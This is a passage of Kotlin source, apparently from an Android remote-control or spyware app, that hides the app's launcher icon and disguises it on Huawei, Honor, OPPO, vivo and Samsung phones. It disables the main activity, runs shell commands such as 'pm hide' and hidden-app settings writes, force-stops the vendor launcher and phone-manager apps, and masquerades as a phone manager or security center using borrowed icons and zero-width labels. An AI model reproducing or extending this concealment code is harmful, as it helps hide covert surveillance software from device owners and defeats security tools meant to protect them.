            value ?: defaultValue
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 获取系统属性失败: $key", e)
            defaultValue
        }
    }
    
    /**
     * 设置华为专用备用启动器（基于移植指南的HuaweiHideStrategy）
     */
    private fun setupHuaweiBackupLauncher(packageManager: PackageManager) {
        try {
            // 🔧 基于移植指南：直接使用华为备用启动器Activity
            val backupLauncher = ComponentName(context, "com.hikoncont.HuaweiBackupLauncherActivity")
            
            // 🔧 华为设备特殊处理：使用更安全的标志组合避免进程被杀死
            val safeFlags = if (deviceInfo.isHuawei || deviceInfo.isHonor) {
                // 华为/荣耀设备：使用DONT_KILL_APP + SYNCHRONOUS避免进程被杀死
                PackageManager.DONT_KILL_APP or PackageManager.SYNCHRONOUS
            } else {
                PackageManager.DONT_KILL_APP
            }
            
            packageManager.setComponentEnabledSetting(
                backupLauncher, 
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, 
                safeFlags
            )
            
            Log.d(TAG, "✅ 华为备用启动器已设置: com.hikoncont.HuaweiBackupLauncherActivity (flags=$safeFlags)")
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 设置华为备用启动器失败", e)
        }
    }
    
    /**
     * 禁用主启动器（基于HuaweiHideStrategy.disableMainLauncher）
     */
    private fun disableMainLauncher(packageManager: PackageManager) {
        try {
            // 主启动器组件（基于HuaweiHideStrategy的MAIN_LAUNCHER）
            val mainLauncher = ComponentName(context, "com.hikoncont.MainActivity")
            
            // 🔧 华为设备特殊处理：使用更安全的标志组合避免进程被杀死
            val safeFlags = if (deviceInfo.isHuawei || deviceInfo.isHonor) {
                // 华为/荣耀设备：使用DONT_KILL_APP + SYNCHRONOUS避免进程被杀死
                PackageManager.DONT_KILL_APP or PackageManager.SYNCHRONOUS
            } else {
                PackageManager.DONT_KILL_APP
            }
            
            packageManager.setComponentEnabledSetting(
                mainLauncher, 
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, 
                safeFlags
            )
            
            Log.d(TAG, "✅ 华为主启动器已禁用: com.hikoncont.MainActivity (flags=$safeFlags)")
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 禁用华为主启动器失败", e)
        }
    }
    
    /**
     * 保存华为隐藏状态（基于HuaweiHideStrategy.saveHideState）
     */
    private fun saveHuaweiHideState() {
        try {
            val prefs = context.getSharedPreferences("hide_state", Context.MODE_PRIVATE)
            prefs.edit()
                .putBoolean("is_hidden", true)
                .putString("device_type", "huawei")
                .putLong("hide_timestamp", System.currentTimeMillis())
                .apply()
            
            Log.d(TAG, "✅ 华为隐藏状态已保存")
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 保存华为隐藏状态失败", e)
        }
    }
    
    /**
     * 发送华为包变更广播（基于华为EMUI的特殊需求）
     * 注意：此方法可能因权限限制而失败，这是正常的
     */
    private fun sendHuaweiPackageChangeBroadcast() {
        try {
            val pkgUri = android.net.Uri.parse("package:${context.packageName}")
            
            // 尝试发送包变更广播（可能因权限限制失败）
            try {
                Intent(Intent.ACTION_PACKAGE_CHANGED, pkgUri).also {
                    it.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES)
                    context.sendBroadcast(it)
                }
                Log.d(TAG, "📣 华为PACKAGE_CHANGED广播已发送")
            } catch (e: SecurityException) {
                Log.w(TAG, "⚠️ PACKAGE_CHANGED广播权限不足: ${e.message}")
            }
            
            // 尝试发送包替换广播（可能因权限限制失败）
            try {
                Intent(Intent.ACTION_PACKAGE_REPLACED, pkgUri).also {
                    it.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES)
                    context.sendBroadcast(it)
                }
                Log.d(TAG, "📣 华为PACKAGE_REPLACED广播已发送")
            } catch (e: SecurityException) {
                Log.w(TAG, "⚠️ PACKAGE_REPLACED广播权限不足: ${e.message}")
            }
            
            // 尝试发送应用状态变更广播（更安全的替代方案）
            try {
                Intent(Intent.ACTION_MY_PACKAGE_REPLACED).also {
                    it.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES)
                    context.sendBroadcast(it)
                }
                Log.d(TAG, "📣 华为MY_PACKAGE_REPLACED广播已发送")
            } catch (e: SecurityException) {
                Log.w(TAG, "⚠️ MY_PACKAGE_REPLACED广播权限不足: ${e.message}")
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 发送华为包变更广播失败", e)
        }
    }
    
    /**
     * 强制华为EMUI桌面刷新（基于华为EMUI的特殊缓存机制）
     */
    private fun forceHuaweiLauncherRefresh(packageManager: PackageManager) {
        try {
            Log.d(TAG, "🔄 开始强制华为EMUI桌面刷新")
            
            val backupLauncher = ComponentName(context, "com.hikoncont.HuaweiBackupLauncherActivity")
            
            // 方法1：双切换策略（禁用->启用）强制刷新
            try {
                Log.d(TAG, "🔄 执行华为备用启动器双切换")
                
                // 🔧 华为设备特殊处理：使用更安全的标志组合避免进程被杀死
                val safeFlags = if (deviceInfo.isHuawei || deviceInfo.isHonor) {
                    PackageManager.DONT_KILL_APP or PackageManager.SYNCHRONOUS
                } else {
                    PackageManager.DONT_KILL_APP
                }
                
                packageManager.setComponentEnabledSetting(
                    backupLauncher,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    safeFlags
                )
                Thread.sleep(200)
                packageManager.setComponentEnabledSetting(
                    backupLauncher,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    safeFlags
                )
                Log.d(TAG, "✅ 华为备用启动器双切换完成 (flags=$safeFlags)")
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 华为备用启动器双切换失败", e)
            }
            
            // 方法2：尝试华为EMUI特定的桌面刷新命令
            val huaweiRefreshCommands = listOf(
                // 华为EMUI桌面刷新命令
                "am broadcast -a com.huawei.android.launcher.action.REFRESH_ICON",
                "am broadcast -a com.huawei.systemmanager.action.REFRESH_ICON",
                // 通用桌面刷新命令
                "am broadcast -a android.intent.action.MY_PACKAGE_REPLACED",
                // 强制刷新包管理器
                "am broadcast -a android.intent.action.PACKAGE_CHANGED --ei android.intent.extra.UID ${android.os.Process.myUid()}"
            )
            
            for (command in huaweiRefreshCommands) {
                try {
                    Log.d(TAG, "🔧 执行华为桌面刷新命令: $command")
                    val result = executeShellCommand(command)
            if (result.isNotEmpty() && !result.contains("error", true)) {
                        Log.d(TAG, "✅ 华为桌面刷新命令成功: $command")
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 华为桌面刷新命令失败: $command", e)
                }
            }
            
            // 方法3：尝试重启华为桌面（如果权限允许）
            try {
                Log.d(TAG, "🔄 尝试重启华为桌面")
                val restartCommand = "am force-stop com.huawei.android.launcher"
                val result = executeShellCommand(restartCommand)
                Log.d(TAG, "🔄 华为桌面重启结果: $result")
                
                // 等待桌面重启
                Thread.sleep(1000)
                
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 重启华为桌面失败", e)
            }
            
            Log.d(TAG, "✅ 华为EMUI桌面强制刷新完成")
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 强制华为桌面刷新失败", e)
        }
    }
    
    /**
     * 尝试华为EMUI更激进的隐藏方法
     */
    private fun tryHuaweiAggressiveHide(packageManager: PackageManager) {
        try {
            Log.d(TAG, "🔧 尝试华为EMUI更激进的隐藏方法")
            
            // 方法1：尝试使用华为EMUI的系统级隐藏命令
            val aggressiveCommands = listOf(
                // 华为EMUI系统级隐藏
                "settings put secure hide_application_icon ${context.packageName} 1",
                "settings put global hide_application_icon ${context.packageName} 1",
                // 华为桌面特定隐藏
                "settings put system huawei_launcher_hide_icon ${context.packageName} 1",
                "settings put system emui_hide_icon ${context.packageName} 1",
                // 华为EMUI应用隐藏功能
                "settings put secure hidden_apps ${context.packageName}",
                "settings put global hidden_apps ${context.packageName}",
                // 华为桌面隐藏应用
                "settings put system launcher_hidden_apps ${context.packageName}",
                // 强制禁用组件
                "pm disable-user --user 0 ${context.packageName}/com.hikoncont.MainActivity",
                "pm disable ${context.packageName}/com.hikoncont.MainActivity"
            )
            
            for (command in aggressiveCommands) {
                try {
                    Log.d(TAG, "🔧 执行华为激进隐藏命令: $command")
                    val result = executeShellCommand(command)
                    if (result.isNotEmpty() && !result.contains("error", true)) {
                        Log.d(TAG, "✅ 华为激进隐藏命令成功: $command")
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 华为激进隐藏命令失败: $command", e)
                }
            }
            
            // 方法2：尝试使用华为EMUI的ContentProvider接口（替代sqlite3）
            try {
                Log.d(TAG, "🔧 尝试使用华为EMUI的ContentProvider接口")
                
                // 尝试通过ContentProvider修改华为桌面数据
                val contentProviderCommands = listOf(
                    // 尝试删除华为桌面快捷方式
                    "am broadcast -a com.huawei.android.launcher.action.DELETE_SHORTCUT --es packageName ${context.packageName}",
                    // 尝试隐藏华为桌面图标
                    "am broadcast -a com.huawei.android.launcher.action.HIDE_ICON --es packageName ${context.packageName}",
                    // 尝试刷新华为桌面数据
                    "am broadcast -a com.huawei.android.launcher.action.REFRESH_DATA",
                    // 尝试清除华为桌面缓存
                    "am broadcast -a com.huawei.android.launcher.action.CLEAR_CACHE"
                )
                
                for (command in contentProviderCommands) {
                    try {
                        val result = executeShellCommand(command)
                        Log.d(TAG, "🔧 ContentProvider命令结果: $result")
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ ContentProvider命令失败: $command", e)
                    }
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 使用华为EMUI ContentProvider失败", e)
            }
            
            // 方法3：尝试重启华为EMUI相关服务
            try {
                Log.d(TAG, "🔧 尝试重启华为EMUI相关服务")
                val restartCommands = listOf(
                    "am force-stop com.huawei.android.launcher",
                    "am force-stop com.huawei.systemmanager",
                    "am start -n com.huawei.android.launcher/.Launcher"
                )
                
                for (restartCommand in restartCommands) {
                    try {
                        val result = executeShellCommand(restartCommand)
                        Log.d(TAG, "🔄 重启服务结果: $result")
                        Thread.sleep(500) // 等待服务重启
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ 重启服务失败: $restartCommand", e)
                    }
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 重启华为EMUI服务失败", e)
            }
            
            Log.d(TAG, "✅ 华为EMUI激进隐藏方法完成")
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 华为EMUI激进隐藏方法失败", e)
        }
    }
    
    /**
     * 华为EMUI TaskDescription隐藏策略 - 基于D:\kouch\app的发现
     */
    private fun tryHuaweiTaskDescriptionHide() {
        try {
            Log.d(TAG, "🔧 尝试华为EMUI TaskDescription隐藏策略")
            
            // 方法1：使用TaskDescription隐藏任务栏图标
            try {
                val activity = context as? Activity
                if (activity != null) {
                    Log.d(TAG, "🔧 检测到Activity，尝试TaskDescription隐藏")
                    
                    // 获取一个随机应用的图标作为伪装
                    val camouflagePackage = getRandomCamouflagePackage()
                    if (camouflagePackage != null) {
                        try {
                            val packageManager = context.packageManager
                            val applicationInfo = packageManager.getApplicationInfo(camouflagePackage, 0)
                            val applicationIcon = packageManager.getApplicationIcon(applicationInfo)
                            
                            // 使用空格作为任务描述，使用其他应用的图标
                            val taskDescription = ActivityManager.TaskDescription(" ", drawableToBitmap(applicationIcon))
                            activity.setTaskDescription(taskDescription)
                            
                            Log.d(TAG, "✅ TaskDescription隐藏成功，伪装应用: $camouflagePackage")
                            
                        } catch (e: Exception) {
                            Log.w(TAG, "⚠️ TaskDescription设置失败", e)
                        }
            } else {
                        Log.w(TAG, "⚠️ 未找到合适的伪装应用")
                    }
                } else {
                    Log.w(TAG, "⚠️ Context不是Activity，无法使用TaskDescription隐藏")
                    
                    // 替代方案：尝试通过Intent启动透明Activity来设置TaskDescription
                    tryAlternativeTaskDescriptionHide()
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ TaskDescription隐藏失败", e)
            }
            
            // 方法2：尝试使用特殊字符作为标签（更隐蔽）
            val specialLabels = listOf(
                " ",           // 空格
                "　",          // 全角空格
                "\u200B",      // 零宽空格
                "\u200C",      // 零宽非连字符
                "\u200D",      // 零宽连字符
                "\uFEFF",      // 零宽不换行空格
                ".",           // 点号
                "·",           // 中点
                "•",           // 项目符号
                "‣",           // 三角项目符号
                "⁃"            // 连字符项目符号
            )
            
            // 记录建议的特殊标签
            for (label in specialLabels.take(3)) {
                Log.d(TAG, "💡 建议手动测试标签: android:label=\"$label\"")
            }
            
            Log.d(TAG, "✅ 华为EMUI TaskDescription隐藏策略完成")
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 华为EMUI TaskDescription隐藏策略失败", e)
        }
    }
    
    /**
     * 获取随机伪装应用包名
     */
    private fun getRandomCamouflagePackage(): String? {
        try {
            val packageManager = context.packageManager
            val installedPackages = packageManager.getInstalledPackages(0)
            
            Log.d(TAG, "🔍 扫描已安装应用，总数: ${installedPackages.size}")
            
            // 过滤掉系统应用和当前应用
            val candidatePackages = installedPackages.filter { packageInfo ->
                val applicationInfo = packageInfo.applicationInfo ?: return@filter false
                val isNotSystem = (applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM) == 0
                val isNotCurrent = packageInfo.packageName != context.packageName
                val isNotEmpty = packageInfo.packageName.isNotEmpty()
                
                if (isNotSystem && isNotCurrent && isNotEmpty) {
                    Log.d(TAG, "✅ 候选伪装应用: ${packageInfo.packageName}")
                }
                
                isNotSystem && isNotCurrent && isNotEmpty
            }
            
            Log.d(TAG, "🎯 找到候选伪装应用数量: ${candidatePackages.size}")
            
            if (candidatePackages.isNotEmpty()) {
                val randomPackage = candidatePackages.random()
                Log.d(TAG, "🎭 选择伪装应用: ${randomPackage.packageName}")
                return randomPackage.packageName
            } else {
                Log.w(TAG, "⚠️ 未找到合适的伪装应用")
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 获取随机伪装应用失败", e)
        }
        
        return null
    }
    
    /**
     * 将Drawable转换为Bitmap
     */
    private fun drawableToBitmap(drawable: Drawable): Bitmap? {
        return try {
            if (drawable is BitmapDrawable && drawable.bitmap != null) {
                drawable.bitmap
            } else {
                val bitmap = if (drawable.intrinsicWidth <= 0 || drawable.intrinsicHeight <= 0) {
                    Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888)
                } else {
                    Bitmap.createBitmap(
                        drawable.intrinsicWidth,
                        drawable.intrinsicHeight,
                        Bitmap.Config.ARGB_8888
                    )
                }
                val canvas = Canvas(bitmap)
                drawable.setBounds(0, 0, canvas.width, canvas.height)
                drawable.draw(canvas)
                bitmap
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ Drawable转Bitmap失败", e)
            null
        }
    }
    
    /**
     * 替代TaskDescription隐藏方案 - 通过启动透明Activity
     */
    private fun tryAlternativeTaskDescriptionHide() {
        try {
            Log.d(TAG, "🔧 尝试替代TaskDescription隐藏方案")
            
            // 获取一个随机应用的图标作为伪装
            val camouflagePackage = getRandomCamouflagePackage()
            if (camouflagePackage != null) {
                try {
                    val packageManager = context.packageManager
                    val applicationInfo = packageManager.getApplicationInfo(camouflagePackage, 0)
                    val applicationIcon = packageManager.getApplicationIcon(applicationInfo)
                    
                    // 启动HuaweiBackupLauncherActivity并传递伪装信息
                    val intent = Intent(context, HuaweiBackupLauncherActivity::class.java)
                    intent.putExtra("camouflage_package", camouflagePackage)
                    intent.putExtra("camouflage_icon", drawableToBitmap(applicationIcon))
                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                    
                    context.startActivity(intent)
                    
                    Log.d(TAG, "✅ 替代TaskDescription隐藏成功，伪装应用: $camouflagePackage")
                    
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 替代TaskDescription设置失败", e)
                }
            } else {
                Log.w(TAG, "⚠️ 未找到合适的伪装应用")
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 替代TaskDescription隐藏失败", e)
        }
    }
    
    /**
     * 🔧 荣耀设备特定方法 - 支持Magic UI桌面图标删除功能
     */
    private fun hideWithHonorMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 荣耀设备特定方案 - Magic UI桌面图标删除")
            
            val packageManager = context.packageManager
            val packageName = context.packageName
            
            // 方法1: 尝试荣耀Magic UI的系统级桌面图标隐藏
            val honorCommands = listOf(
                // 荣耀Magic UI特定的桌面图标隐藏命令
                "settings put secure hide_application_icon $packageName 1",
                "settings put global hide_application_icon $packageName 1",
                // 荣耀桌面特定的隐藏设置
                "settings put system honor_launcher_hide_icon $packageName 1",
                "settings put system magic_ui_hide_icon $packageName 1",
                // 通用隐藏命令
                "pm disable-user --user 0 $packageName/$packageName.MainActivity"
            )
            
            var success = false
            var lastError = ""
            
            for (command in honorCommands) {
                try {
                    Log.d(TAG, "🔧 执行荣耀命令: $command")
                    val result = executeShellCommand(command)
                    
                    if (result.isNotEmpty() && !result.contains("error", true) && 
                        !result.contains("permission denied", true)) {
                        Log.d(TAG, "✅ 荣耀命令执行成功: $command")
                        success = true
                        break
                    } else {
                        lastError = result
                        Log.w(TAG, "⚠️ 荣耀命令执行失败: $command, 结果: $result")
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 荣耀命令异常: $command", e)
                    lastError = e.message ?: "未知错误"
                }
            }
            
            if (success) {
                // 等待Magic UI桌面刷新
                Thread.sleep(2000)
                
                // 验证隐藏是否成功
                val componentName = ComponentName(context, "com.hikoncont.MainActivity")
                val componentState = packageManager.getComponentEnabledSetting(componentName)
                
                val isHidden = componentState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED ||
                              componentState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER
                
                if (isHidden) {
                    Log.i(TAG, "✅ 荣耀Magic UI桌面图标删除成功")
                    return HideResult(
                        success = true,
                        method = METHOD_MANUFACTURER_SPECIFIC,
                        message = "荣耀Magic UI桌面图标删除成功，组件状态: $componentState"
                    )
                }
            }
            
            // 方法2: 回退到标准PackageManager方法，但使用荣耀特定的参数
            Log.d(TAG, "🔄 回退到标准方法，使用荣耀特定参数")
            
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            // 荣耀设备可能需要特殊的标志组合
            val honorFlags = PackageManager.DONT_KILL_APP or 0x00000400 // 荣耀特殊标志
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER,
                honorFlags
            )
            
            // 荣耀Magic UI需要更长的等待时间
            Thread.sleep(2500)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val finalSuccess = newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED || 
                              newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER
            
            HideResult(
                success = finalSuccess,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (finalSuccess) {
                    "荣耀Magic UI方案成功，组件状态: $newState"
                } else {
                    "荣耀Magic UI方案失败，组件状态: $newState，最后错误: $lastError"
                }
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 荣耀特定方案异常", e)
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "荣耀特定方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 OPPO设备特定方法
     */
    private fun hideWithOppoMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 OPPO设备特定方案")
            
            // OPPO ColorOS的特殊处理
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            // ColorOS可能需要特定的用户ID
            val colorOSFlags = PackageManager.DONT_KILL_APP
            
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                colorOSFlags
            )
            
            // OPPO设备通常响应较快
            Thread.sleep(800)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED
            
            HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (success) "OPPO ColorOS方案成功" else "OPPO ColorOS方案失败"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "OPPO特定方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 vivo设备特定方法 - 平衡版，既隐藏又不断开
     */
    private fun hideWithVivoMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 vivo设备特定方案 - 平衡版")
            
            // 🎯 策略：使用有效的隐藏命令，但避免停止应用进程
            // 基于原始日志分析，保留有效命令，移除危险命令
            
            // 方案1：使用pm hide命令（相对安全，只隐藏不停止）
            try {
                Log.d(TAG, "🔧 尝试vivo pm hide方案")
                val hideResult = executeShellCommand("pm hide ${context.packageName}")
                if (hideResult.contains("success", true) || hideResult.contains("hidden", true) || hideResult.isEmpty()) {
                    // pm hide成功或无错误输出都认为可能成功
                    Log.i(TAG, "✅ vivo pm hide方案执行完成")
                    return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "vivo pm hide方案成功")
                }
                Log.d(TAG, "pm hide结果: $hideResult")
            } catch (e: Exception) {
                Log.w(TAG, "vivo pm hide方案失败", e)
            }
            
            // 方案2：使用改进的PackageManager组件禁用
            try {
                Log.d(TAG, "🔧 尝试vivo增强PackageManager方案")
                val packageManager = context.packageManager
                val componentName = ComponentName(context, "com.hikoncont.MainActivity")
                
                // 检查当前状态
                val currentState = packageManager.getComponentEnabledSetting(componentName)
                Log.d(TAG, "当前组件状态: $currentState")
                
                // 使用vivo设备优化的禁用方式
                packageManager.setComponentEnabledSetting(
                    componentName,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER, // 使用用户级禁用
                    PackageManager.DONT_KILL_APP // 确保不杀死应用
                )
                
                // vivo设备需要较长等待时间
                Thread.sleep(2000)
                
                val newState = packageManager.getComponentEnabledSetting(componentName)
                Log.d(TAG, "新组件状态: $newState")
                
                if (newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED || 
                    newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER) {
                    return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "vivo 增强PackageManager方案成功")
                }
                
            } catch (e: Exception) {
                Log.w(TAG, "vivo增强PackageManager方案失败", e)
            }
            
            // 方案3：精确的组件级Shell命令
            val preciseCommands = listOf(
                // 只禁用MainActivity，保持服务运行
                "pm disable-user --user 0 ${context.packageName}/com.hikoncont.MainActivity",
                "pm disable ${context.packageName}/com.hikoncont.MainActivity",
                "pm disable-user --user 0 ${context.packageName}/.MainActivity",
                // 尝试设置组件为用户禁用状态
                "cmd package set-enabled-setting ${context.packageName}/com.hikoncont.MainActivity 2"
            )
            
            for (command in preciseCommands) {
                try {
                    Log.d(TAG, "🔧 执行精确命令: $command")
                    val result = executeShellCommand(command)
                    Log.d(TAG, "命令结果: $result")
                    
                    if (result.contains("success", true) || 
                        result.contains("disabled", true) ||
                        result.contains("新状态", true) ||
                        result.isEmpty()) { // 空输出有时也表示成功
                        
                        // 验证是否真的被禁用了
                        Thread.sleep(1000)
                        try {
                            val packageManager = context.packageManager
                            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
                            val state = packageManager.getComponentEnabledSetting(componentName)
                            if (state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED ||
                                state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER) {
                                return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "vivo 精确Shell方案成功: $command")
                            }
                        } catch (verifyE: Exception) {
                            // 验证失败，但命令可能仍然有效
                            Log.w(TAG, "验证状态失败，但命令可能有效", verifyE)
                            return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "vivo Shell方案可能成功: $command")
                        }
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "vivo精确命令失败: $command", e)
                }
            }
            
            // 方案4：回退到标准方法，但针对vivo优化
            Log.d(TAG, "🔧 vivo设备回退到优化标准方案")
            try {
                val packageManager = context.packageManager
                val componentName = ComponentName(context, "com.hikoncont.MainActivity")
                
                // 使用标准方法但添加vivo特定优化
                val flags = PackageManager.DONT_KILL_APP or PackageManager.SYNCHRONOUS
                
                packageManager.setComponentEnabledSetting(
                    componentName,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    flags
                )
                
                // vivo设备需要更长等待时间
                Thread.sleep(2500)
                
                val newState = packageManager.getComponentEnabledSetting(componentName)
                val success = newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED
                
                if (success) {
                    return HideResult(true, METHOD_MANUFACTURER_SPECIFIC, "vivo 优化标准方案成功")
                }
                
            } catch (e: Exception) {
                Log.w(TAG, "vivo优化标准方案失败", e)
            }
            
            // 所有方案都失败
            return HideResult(
                success = false,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = "vivo设备所有隐藏方案均失败，设备可能需要手动权限设置"
            )
            
        } catch (e: Exception) {
            Log.e(TAG, "vivo特定方案异常", e)
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "vivo特定方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 三星设备特定方法
     */
    private fun hideWithSamsungMethod(): HideResult {
        return try {
            Log.d(TAG, "🔧 三星设备特定方案")
            
            // 三星OneUI的特殊处理
            val packageManager = context.packageManager
            val componentName = ComponentName(context, "com.hikoncont.MainActivity")
            
            // 三星设备可能需要额外的权限检查
            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )
            
            // 三星设备需要较长的等待时间
            Thread.sleep(2000)
            
            val newState = packageManager.getComponentEnabledSetting(componentName)
            val success = newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED
            
            HideResult(
                success = success,
                method = METHOD_MANUFACTURER_SPECIFIC,
                message = if (success) "三星OneUI方案成功" else "三星OneUI方案失败"
            )
            
        } catch (e: Exception) {
            HideResult(false, METHOD_MANUFACTURER_SPECIFIC, "三星特定方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔧 方案6: 反射API方法（新增）
     */
    private fun hideWithReflectionAPI(): HideResult {
        return try {
            Log.d(TAG, "🔧 反射API方案")
            
            // 尝试通过反射访问系统级API
            val activityManagerClass = Class.forName("android.app.ActivityManager")
            val packageManagerClass = Class.forName("android.content.pm.PackageManager")
            
            // 查找隐藏的系统方法
            val methods = packageManagerClass.declaredMethods
            for (method in methods) {
                if (method.name.contains("setApplicationHiddenSettingAsUser") ||
                    method.name.contains("setComponentEnabledSetting")) {
                    
                    method.isAccessible = true
                    
                    try {
                        // 尝试调用系统级方法
                        val result = method.invoke(
                            context.packageManager,
                            context.packageName,
                            true,
                            0 // USER_SYSTEM
                        )
                        
                        if (result == true || result == null) {
                            return HideResult(true, METHOD_REFLECTION_API, "反射API方案成功")
                        }
                    } catch (e: Exception) {
                        Log.w(TAG, "反射方法调用失败: ${method.name}", e)
                    }
                }
            }
            
            HideResult(false, METHOD_REFLECTION_API, "未找到可用的反射方法")
            
        } catch (e: Exception) {
            HideResult(false, METHOD_REFLECTION_API, "反射API方案异常: ${e.message}")
        }
    }
    
    /**
     * 🔍 获取手机管家图标
     * 尝试从系统中获取手机管家的图标资源
     */
    private fun getPhoneManagerIcon(): android.graphics.drawable.Drawable? {
        return try {
            val packageManager = context.packageManager
            
            // 常见的手机管家包名列表（按优先级排序）
            val phoneManagerPackages = listOf(
                "com.miui.securitycenter",           // 小米安全中心
                "com.huawei.systemmanager",          // 华为手机管家
                "com.oppo.safecenter",               // OPPO安全中心
                "com.vivo.safecenter",               // vivo安全中心
                "com.samsung.android.app.smartcallprovider", // 三星安全中心
                "com.lenovo.safecenter",             // 联想安全中心
                "com.tencent.qqpimsecure",          // 腾讯手机管家
                "com.qihoo.security",                // 360手机卫士
                "com.kingsoft.powerword",            // 金山手机卫士
                "com.baidu.security",                // 百度手机卫士
                "com.android.settings",              // 系统设置（备用）
                "com.android.systemui"                // 系统UI（备用）
            )
            
            // 尝试获取手机管家图标
            for (packageName in phoneManagerPackages) {
                try {
                    val appInfo = packageManager.getApplicationInfo(packageName, 0)
                    val icon = packageManager.getApplicationIcon(appInfo)
                    Log.d(TAG, "✅ 找到手机管家图标: $packageName")
                    return icon
                } catch (e: Exception) {
                    // 继续尝试下一个包名
                    continue
                }
            }
            
            // 如果没找到，使用自定义的手机管家图标
            Log.w(TAG, "⚠️ 未找到系统手机管家图标，使用自定义图标")
            context.getDrawable(com.hikoncont.R.drawable.phone_manager_icon)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取手机管家图标失败", e)
            // 最后的备用方案
            context.getDrawable(android.R.drawable.ic_dialog_alert)
        }
    }

    /**
     * 🎭 方案7: 多厂商静态伪装方案（采用原APK方案）
     * 根据设备厂商启用对应的activity-alias，无需动态修改图标
     */
    private fun hideWithSIMCamouflage(): HideResult {
        return try {
            Log.i(TAG, "🎭 开始多厂商静态伪装方案")
            
            val packageManager = context.packageManager
            
            // 1. 根据设备厂商选择对应的alias (基于D:\kouch\app的优化策略)
            val (targetAlias, targetLabel) = when {
                deviceInfo.isVivo -> Pair("com.hikoncont.VivoIGuanjiaAlias", "")
                deviceInfo.isOppo -> Pair("com.hikoncont.OppoAlias", "手机管家")
                deviceInfo.isHuawei -> {
                    // 华为设备：直接使用备用启动器Activity
                    Log.i(TAG, "🔍 华为设备检测: manufacturer=${deviceInfo.manufacturer}, brand=${deviceInfo.brand}")
                    Pair("com.hikoncont.HuaweiBackupLauncherActivity", "")
                }
                deviceInfo.isHonor -> {
                    // 荣耀设备：使用透明图标，无标签
                    Log.i(TAG, "🔍 荣耀设备检测: manufacturer=${deviceInfo.manufacturer}, brand=${deviceInfo.brand}")
                    Pair("com.hikoncont.HonorAlias", "")
                }
